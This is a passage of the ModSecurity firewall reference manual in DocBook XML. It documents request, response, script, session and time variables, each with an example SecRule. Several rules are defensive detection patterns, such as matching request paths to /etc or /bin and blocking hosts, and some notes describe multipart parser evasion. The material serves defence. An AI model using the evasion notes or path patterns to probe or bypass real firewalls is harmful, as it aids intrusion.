<programlisting format="linespecific">SecRule <emphasis>FILES_SIZES</emphasis> "@gt 100" log,deny,status:403,phase:2</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">FILES_TMPNAMES</literal></title>
|
|
|
|
<para>Collection. Contains a collection of temporary files' names on the
|
|
disk. Useful when used together with <literal
|
|
moreinfo="none">@inspectFile.</literal> Note: only available if files
|
|
were extracted from the request body. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>FILES_TMPNAMES</emphasis> "@inspectFile /path/to/inspect_script.pl"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">GEO</literal></title>
|
|
|
|
<para><literal>GEO</literal> is a collection populated by the <literal
|
|
moreinfo="none">@geoLookups</literal> operator. It can be used to match
|
|
geographical fields looked up by an IP address or hostname.</para>
|
|
|
|
<para>Available since 2.2.0.</para>
|
|
|
|
<para>Fields:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><emphasis>COUNTRY_CODE:</emphasis> Two character country code.
|
|
EX: US, UK, etc.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>COUNTRY_CODE3:</emphasis> Up to three character
|
|
country code.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>COUNTRY_NAME:</emphasis> The full country
|
|
name.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>COUNTRY_CONTINENT:</emphasis> The two character
|
|
continent that the country is located. EX: EU</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>REGION:</emphasis> The two character region. For US,
|
|
this is state. For Canada, providence, etc.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>CITY:</emphasis> The city name.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>POSTAL_CODE:</emphasis> The postal code.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>LATITUDE:</emphasis> The latitude.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>LONGITUDE:</emphasis> The longitude.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>DMA_CODE:</emphasis> The metropolitan area code. (US
|
|
only)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><emphasis>AREA_CODE:</emphasis> The phone system area code.
|
|
(US only)</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REMOTE_ADDR "<emphasis>@geoLookup</emphasis>" "chain,drop,msg:'Non-UK IP address'"
|
|
SecRule GEO:COUNTRY_CODE "!@streq UK"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">HIGHEST_SEVERITY</literal></title>
|
|
|
|
<para>This variable holds the highest severity of any rules that have
|
|
matched so far. Severities are numeric values and thus can be used with
|
|
comparison operators such as <literal moreinfo="none">@lt</literal>,
|
|
etc.</para>
|
|
|
|
<note>
|
|
<para>Higher severities have a lower numeric value.</para>
|
|
|
|
<para>A value of 255 indicates no severity has been set.</para>
|
|
</note>
|
|
|
|
<programlisting format="linespecific">SecRule HIGHEST_SEVERITY "@le 2" "phase:2,deny,status:500,msg:'severity %{HIGHEST_SEVERITY}'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">MATCHED_VAR</literal></title>
|
|
|
|
<para>This variable holds the value of the variable that was matched
|
|
against. It is similar to the TX:0, except it can be used for all
|
|
operators and does not require that the <literal
|
|
moreinfo="none">capture</literal> action be specified.</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS pattern chain,deny
|
|
...
|
|
SecRule <emphasis>MATCHED_VAR</emphasis> "further scrutiny"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">MATCHED_VAR_NAME</literal></title>
|
|
|
|
<para>This variable holds the full name of the variable that was matched
|
|
against.</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS pattern setvar:tx.mymatch=%{MATCHED_VAR_NAME}
|
|
...
|
|
SecRule <emphasis>TX:MYMATCH</emphasis> "@eq ARGS:param" deny</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">MODSEC_BUILD</literal></title>
|
|
|
|
<para>This variable holds the ModSecurity build number. This variable is
|
|
intended to be used to check the build number prior to using a feature
|
|
that is available only in a certain build. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>MODSEC_BUILD</emphasis> "!@ge 02050102" skipAfter:12345
|
|
SecRule ARGS "@pm some key words" id:12345,deny,status:500</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>MULTIPART_CRLF_LF_LINES</literal></title>
|
|
|
|
<para>This flag variable will be set to <literal>1</literal> whenever a
|
|
multi-part request uses mixed line terminators. The
|
|
<literal>multipart/form-data</literal> RFC requires
|
|
<literal>CRLF</literal> sequence to be used to terminate lines. Since
|
|
some client implementations use only <literal>LF</literal> to terminate
|
|
lines you might want to allow them to proceed under certain
|
|
circumstances (if you want to do this you will need to stop using
|
|
<literal>MULTIPART_STRICT_ERROR</literal> and check each multi-part flag
|
|
variable individually, avoiding <literal>MULTIPART_LF_LINE</literal>).
|
|
However, mixing <literal>CRLF</literal> and <literal>LF</literal> line
|
|
terminators is dangerous as it can allow for evasion. Therefore, in such
|
|
cases, you will have to add a check for
|
|
<literal>MULTIPART_CRLF_LF_LINES</literal>.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>MULTIPART_STRICT_ERROR</literal></title>
|
|
|
|
<para><literal>MULTIPART_STRICT_ERROR</literal> will be set to
|
|
<literal>1</literal> when any of the following variables is also set to
|
|
<literal>1</literal>: <literal>REQBODY_PROCESSOR_ERROR</literal>,
|
|
<literal>MULTIPART_BOUNDARY_QUOTED</literal>,
|
|
<literal>MULTIPART_BOUNDARY_WHITESPACE</literal>,
|
|
<literal>MULTIPART_DATA_BEFORE</literal>,
|
|
<literal>MULTIPART_DATA_AFTER</literal>,
|
|
<literal>MULTIPART_HEADER_FOLDING</literal>,
|
|
<literal>MULTIPART_LF_LINE</literal>,
|
|
<literal>MULTIPART_SEMICOLON_MISSING</literal>. Each of these variables
|
|
covers one unusual (although sometimes legal) aspect of the request body
|
|
in <literal>multipart/form-data format</literal>. Your policies should
|
|
<emphasis>always</emphasis> contain a rule to check either this variable
|
|
(easier) or one or more individual variables (if you know exactly what
|
|
you want to accomplish). Depending on the rate of false positives and
|
|
your default policy you should decide whether to block or just warn when
|
|
the rule is triggered.</para>
|
|
|
|
<para>The best way to use this variable is as in the example
|
|
below:</para>
|
|
|
|
<programlisting>SecRule MULTIPART_STRICT_ERROR "!@eq 0" \
|
|
"phase:2,t:none,log,deny,msg:'Multipart request body \
|
|
failed strict validation: \
|
|
PE %{REQBODY_PROCESSOR_ERROR}, \
|
|
BQ %{MULTIPART_BOUNDARY_QUOTED}, \
|
|
BW %{MULTIPART_BOUNDARY_WHITESPACE}, \
|
|
DB %{MULTIPART_DATA_BEFORE}, \
|
|
DA %{MULTIPART_DATA_AFTER}, \
|
|
HF %{MULTIPART_HEADER_FOLDING}, \
|
|
LF %{MULTIPART_LF_LINE}, \
|
|
SM %{MULTIPART_SEMICOLON_MISSING}'"</programlisting>
|
|
|
|
<para>The <literal>multipart/form-data</literal> parser was upgraded in
|
|
ModSecurity v2.1.3 to actively look for signs of evasion. Many variables
|
|
(as listed above) were added to expose various facts discovered during
|
|
the parsing process. The <literal>MULTIPART_STRICT_ERROR</literal>
|
|
variable is handy to check on all abnormalities at once. The individual
|
|
variables allow detection to be fine-tuned according to your
|
|
circumstances in order to reduce the number of false positives. Detailed
|
|
analysis of various evasion techniques covered will be released as a
|
|
separated document at a later date.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>MULTIPART_UNMATCHED_BOUNDARY</literal></title>
|
|
|
|
<para>Set to <literal>1</literal> when, during the parsing phase of a
|
|
<literal>multipart/request-body</literal>, ModSecurity encounters what
|
|
feels like a boundary but it is not. Such an event may occur when
|
|
evasion of ModSecurity is attempted.</para>
|
|
|
|
<para>The best way to use this variable is as in the example
|
|
below:</para>
|
|
|
|
<programlisting>SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \
|
|
"phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'"</programlisting>
|
|
|
|
<para>Change the rule from blocking to logging-only if many false
|
|
positives are encountered.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">PATH_INFO</literal></title>
|
|
|
|
<para>Besides passing query information to a script/handler, you can
|
|
also pass additional data, known as extra path information, as part of
|
|
the URL. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> PATH_INFO</emphasis> "^/(bin|etc|sbin|opt|usr)"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">QUERY_STRING</literal></title>
|
|
|
|
<para>This variable holds form data passed to the script/handler by
|
|
appending data after a question mark. Warning: Not URL-decoded.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>QUERY_STRING</emphasis> "attack"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REMOTE_ADDR</literal></title>
|
|
|
|
<para>This variable holds the IP address of the remote client.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REMOTE_ADDR</emphasis> "^192\.168\.1\.101$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REMOTE_HOST</literal></title>
|
|
|
|
<para>If HostnameLookUps are set to On, then this variable will hold the
|
|
DNS resolved remote host name. If it is set to Off, then it will hold
|
|
the remote IP address. Possible uses for this variable would be to deny
|
|
known bad client hosts or network blocks, or conversely, to allow in
|
|
authorized hosts. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REMOTE_HOST</emphasis> "\.evil\.network\org$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REMOTE_PORT</literal></title>
|
|
|
|
<para>This variable holds information on the source port that the client
|
|
used when initiating the connection to our web server. Example: in this
|
|
example, we are evaluating to see if the <literal>REMOTE_PORT</literal>
|
|
is less than 1024, which would indicate that the user is a privileged
|
|
user (root).</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REMOTE_PORT</emphasis> "@lt 1024" phase:1,log,pass,setenv:remote_port=privileged</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REMOTE_USER</literal></title>
|
|
|
|
<para>This variable holds the username of the authenticated user. If
|
|
there are no password (basic|digest) access controls in place, then this
|
|
variable will be empty. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REMOTE_USER</emphasis> "admin"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This data will not be available in a proxy-mode deployment as the
|
|
authentication is not local.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQBODY_PROCESSOR</literal></title>
|
|
|
|
<para>Built-in processors are <literal
|
|
moreinfo="none">URLENCODED</literal>,<literal moreinfo="none">
|
|
MULTIPART</literal>, and <literal moreinfo="none">XML</literal>.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR</emphasis> "^XML$ chain
|
|
SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal
|
|
moreinfo="none">REQBODY_PROCESSOR_ERROR</literal></title>
|
|
|
|
<para>Possible values are 0 (no error) or 1 (error). This variable will
|
|
be set by request body processors (typically the
|
|
<classname>multipart/request-data</classname> parser or the XML parser)
|
|
when they fail to properly parse a request payload.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR_ERROR</emphasis> "@eq 1" deny,phase:2</programlisting>
|
|
|
|
<note>
|
|
<para>Your policies <emphasis>must</emphasis> have a rule to check
|
|
REQBODY_PROCESSOR_ERROR at the beginning of phase 2. Failure to do so
|
|
will leave the door open for impedance mismatch attacks. It is
|
|
possible, for example, that a payload that cannot be parsed by
|
|
ModSecurity can be successfully parsed by more tolerant parser
|
|
operating in the application. If your policy dictates blocking then
|
|
you should reject the request if error is detected. When operating in
|
|
detection-only mode your rule should alert with high severity when
|
|
request body processing fails.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal
|
|
moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal></title>
|
|
|
|
<para>Empty, or contains the error message from the processor.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> REQBODY_PROCESSOR_ERROR_MSG</emphasis> "failed to parse" t:lowercase</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_BASENAME</literal></title>
|
|
|
|
<para>This variable holds just the filename part of
|
|
<literal>REQUEST_FILENAME</literal> (e.g. index.php). Warning: not URL
|
|
decoded. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_BASENAME</emphasis> "^login\.php$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_BODY</literal></title>
|
|
|
|
<para>This variable holds the data in the request body (including
|
|
POST_PAYLOAD data). REQUEST_BODY should be used if the original order of
|
|
the arguments is important (ARGS should be used in all other cases).
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_BODY</emphasis> "^username=\w{25,}\&password=\w{25,}\&Submit\=login$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is only available if the content type is
|
|
application/x-www-form-urlencoded.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_COOKIES</literal></title>
|
|
|
|
<para>This variable is a collection of all of the cookie data. Example:
|
|
the following example is using the Ampersand special operator to count
|
|
how many variables are in the collection. In this rule, it would trigger
|
|
if the request does not include any Cookie headers.</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> &REQUEST_COOKIES</emphasis> "@eq 0"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_COOKIES_NAMES</literal></title>
|
|
|
|
<para>This variable is a collection of the cookie names in the request
|
|
headers. Example: the following rule will trigger if the JSESSIONID
|
|
cookie is not present.</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> &REQUEST_COOKIES_NAMES:JSESSIONID</emphasis> "@eq 0"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_FILENAME</literal></title>
|
|
|
|
<para>This variable holds the relative REQUEST_URI minus the
|
|
QUERY_STRING part (e.g. /index.php). Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_FILENAME</emphasis> "^/cgi-bin/login\.php$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_HEADERS</literal></title>
|
|
|
|
<para>This variable can be used as either a collection of all of the
|
|
Request Headers or can be used to specify individual headers (by using
|
|
REQUEST_HEADERS<emphasis>:Header-Name</emphasis>). Example: the first
|
|
example uses REQUEST_HEADERS as a collection and is applying the
|
|
validateUrlEncoding operator against all headers.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS</emphasis> "@validateUrlEncoding"</programlisting>
|
|
|
|
<para>Example: the second example is targeting only the Host
|
|
header.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS:Host</emphasis> "^[\d\.]+$" \
|
|
"deny,log,status:400,msg:'Host header is a numeric IP address'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_HEADERS_NAMES</literal></title>
|
|
|
|
<para>This variable is a collection of the names of all of the Request
|
|
Headers. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_HEADERS_NAMES</emphasis> "^x-forwarded-for" \
|
|
"log,deny,status:403,t:lowercase,msg:'Proxy Server Used'"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_LINE</literal></title>
|
|
|
|
<para>This variable holds the complete request line sent to the server
|
|
(including the REQUEST_METHOD and HTTP version data). Example: this
|
|
example rule will trigger if the request method is something other than
|
|
GET, HEAD, POST or if the HTTP is something other than HTTP/0.9, 1.0 or
|
|
1.1.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_LINE</emphasis> "!(^((?:(?:pos|ge)t|head))|http/(0\.9|1\.0|1\.1)$)" t:none,t:lowercase</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_METHOD</literal></title>
|
|
|
|
<para>This variable holds the Request Method used by the client.
|
|
Example: the following example will trigger if the Request Method is
|
|
either CONNECT or TRACE.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_METHOD</emphasis> "^((?:connect|trace))$" t:none,t:lowercase</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_PROTOCOL</literal></title>
|
|
|
|
<para>This variable holds the Request Protocol Version information.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_PROTOCOL</emphasis> "!^http/(0\.9|1\.0|1\.1)$" t:none,t:lowercase</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_URI</literal></title>
|
|
|
|
<para>This variable holds the full URL including the QUERY_STRING data
|
|
(e.g. /index.php?p=X), however it will never contain a domain name, even
|
|
if it was provided on the request line. Warning: not URL decoded. It
|
|
also does not include either the REQUEST_METHOD or the HTTP version
|
|
info. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>REQUEST_URI</emphasis> "attack"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">REQUEST_URI_RAW</literal></title>
|
|
|
|
<para>Same as REQUEST_URI but will contain the domain name if it was
|
|
provided on the request line (e.g.
|
|
http://www.example.com/index.php?p=X). Warning: not URL decoded.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> REQUEST_URI_RAW</emphasis> "http:/"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RESPONSE_BODY</literal></title>
|
|
|
|
<para>This variable holds the data for the response payload.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> RESPONSE_BODY</emphasis> "ODBC Error Code"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>RESPONSE_CONTENT_LENGTH</literal></title>
|
|
|
|
<para>Response body length in bytes. Can be available starting with
|
|
phase 3 but it does not have to be (as the length of response body is
|
|
not always known in advance.) If the size is not known this variable
|
|
will contain a zero. If <literal>RESPONSE_CONTENT_LENGTH</literal>
|
|
contains a zero in phase 5 that means the actual size of the response
|
|
body was 0.</para>
|
|
|
|
<para>The value of this variable can change between phases if the body
|
|
is modified. For example, in embedded mode
|
|
<literal>mod_deflate</literal> can compress the response body between
|
|
phases 4 and 5.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>RESPONSE_CONTENT_TYPE</literal></title>
|
|
|
|
<para>Response content type. Only available starting with phase
|
|
3.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RESPONSE_HEADERS</literal></title>
|
|
|
|
<para>This variable is similar to the REQUEST_HEADERS variable and can
|
|
be used in the same manner. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> RESPONSE_HEADERS</emphasis><emphasis>:X-Cache</emphasis> "MISS"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable may not have access to some headers when running in
|
|
embedded-mode. Headers such as Server, Date, Connection and Content-Type
|
|
are added during a later Apache hook just prior to sending the data to
|
|
the client. This data should be available, however, either during
|
|
ModSecurity phase:5 (logging) or when running in proxy-mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RESPONSE_HEADERS_NAMES</literal></title>
|
|
|
|
<para>This variable is a collection of the response header names.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_HEADERS_NAMES</emphasis> "Set-Cookie"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Same limitations as RESPONSE_HEADERS with regards to access to
|
|
some headers in embedded-mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RESPONSE_PROTOCOL</literal></title>
|
|
|
|
<para>This variable holds the HTTP Response Protocol information.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_PROTOCOL</emphasis> "^HTTP\/0\.9"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RESPONSE_STATUS</literal></title>
|
|
|
|
<para>This variable holds the HTTP Response Status Code generated by
|
|
Apache. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>RESPONSE_STATUS</emphasis> "^[45]"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This directive may not work as expected in embedded-mode as Apache
|
|
handles many of the stock response codes (404, 401, etc...) earlier in
|
|
Phase 2. This variable should work as expected in a proxy-mode
|
|
deployment.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">RULE</literal></title>
|
|
|
|
<para>This variable provides access to the <literal
|
|
moreinfo="none">id</literal>, <literal moreinfo="none">rev</literal>,
|
|
<literal moreinfo="none">severity</literal>, <literal
|
|
moreinfo="none">logdata</literal>, and <literal
|
|
moreinfo="none">msg</literal> fields of the rule that triggered the
|
|
action. Only available for expansion in action strings (e.g.<literal
|
|
moreinfo="none">setvar:tx.varname=%{rule.id}</literal>). Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS:Host "@eq 0" "log,deny,setvar:tx.varname=<emphasis>%{rule.id}</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_BASENAME</literal></title>
|
|
|
|
<para>This variable holds just the local filename part of
|
|
SCRIPT_FILENAME. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_BASENAME</emphasis> "^login\.php$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_FILENAME</literal></title>
|
|
|
|
<para>This variable holds the full path on the server to the requested
|
|
script. (e.g. SCRIPT_NAME plus the server path). Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_FILENAME</emphasis> "^/usr/local/apache/cgi-bin/login\.php$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_GID</literal></title>
|
|
|
|
<para>This variable holds the group id (numerical value) of the group
|
|
owner of the script. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_GID</emphasis> "!^46$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_GROUPNAME</literal></title>
|
|
|
|
<para>This variable holds the group name of the group owner of the
|
|
script. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> SCRIPT_GROUPNAME</emphasis> "!^apache$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_MODE</literal></title>
|
|
|
|
<para>This variable holds the script's permissions mode data (numerical
|
|
- 1=execute, 2=write, 4=read and 7=read/write/execute). Example: will
|
|
trigger if the script has the WRITE permissions set.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_MODE</emphasis> "^(2|3|6|7)$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_UID</literal></title>
|
|
|
|
<para>This variable holds the user id (numerical value) of the owner of
|
|
the script. Example: the example rule below will trigger if the UID is
|
|
not 46 (the Apache user).</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> SCRIPT_UID</emphasis> "!^46$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SCRIPT_USERNAME</literal></title>
|
|
|
|
<para>This variable holds the username of the owner of the script.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SCRIPT_USERNAME</emphasis> "!^apache$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This variable is not available in proxy mode.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SERVER_ADDR</literal></title>
|
|
|
|
<para>This variable contains the IP address of the server.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> SERVER_ADDR</emphasis> "^192\.168\.1\.100$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SERVER_NAME</literal></title>
|
|
|
|
<para>This variable contains the server's hostname or IP address.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SERVER_NAME</emphasis> "hostname\.com$"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This data is taken from the Host header submitted in the client
|
|
request.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SERVER_PORT</literal></title>
|
|
|
|
<para>This variable contains the local port that the web server is
|
|
listening on. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SERVER_PORT</emphasis> "^80$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SESSION</literal></title>
|
|
|
|
<para>This variable is a collection, available only after <literal
|
|
moreinfo="none">setsid</literal> is executed. Example: the following
|
|
example shows how to initialize a SESSION collection with setsid, how to
|
|
use setvar to increase the session.score values, how to set the
|
|
session.blocked variable and finally how to deny the connection based on
|
|
the session:blocked value.</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
|
|
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
|
|
SecRule REQUEST_URI "^/cgi-bin/finger$" "pass,log,setvar:<emphasis>session.score</emphasis>=+10"
|
|
SecRule<emphasis> SESSION:SCORE</emphasis> "@gt 50" "pass,log,setvar:<emphasis>session.blocked</emphasis>=1"
|
|
SecRule<emphasis> SESSION:BLOCKED</emphasis> "@eq 1" "log,deny,status:403"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">SESSIONID</literal></title>
|
|
|
|
<para>This variable is the value set with <literal
|
|
moreinfo="none">setsid</literal>. Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>SESSIONID</emphasis> !^$ chain,nolog,pass
|
|
SecRule REQUEST_COOKIES:PHPSESSID !^$
|
|
SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME</literal></title>
|
|
|
|
<para>This variable holds a formatted string representing the time
|
|
(hour:minute:second). Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> TIME</emphasis> "^(([1](8|9))|([2](0|1|2|3))):\d{2}:\d{2}$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_DAY</literal></title>
|
|
|
|
<para>This variable holds the current date (1-31). Example: this rule
|
|
would trigger anytime between the 10th and 20th days of the
|
|
month.</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>TIME_DAY</emphasis> "^(([1](0|1|2|3|4|5|6|7|8|9))|20)$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_EPOCH</literal></title>
|
|
|
|
<para>This variable holds the time in seconds since 1970.
|
|
Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule <emphasis>TIME_EPOCH</emphasis> "@gt 1000"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_HOUR</literal></title>
|
|
|
|
<para>This variable holds the current hour (0-23). Example: this rule
|
|
would trigger during "off hours".</para>
|
|
|
|
<programlisting format="linespecific">SecRule<emphasis> TIME_HOUR</emphasis> "^(0|1|2|3|4|5|6|[1](8|9)|[2](0|1|2|3))$"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal moreinfo="none">TIME_MIN</literal></title>
|
|
|
|
<para>This variable holds the current minute (0-59). Example: this rule
|
|
would trigger during the last half hour of every hour.</para>
|
|
|
|
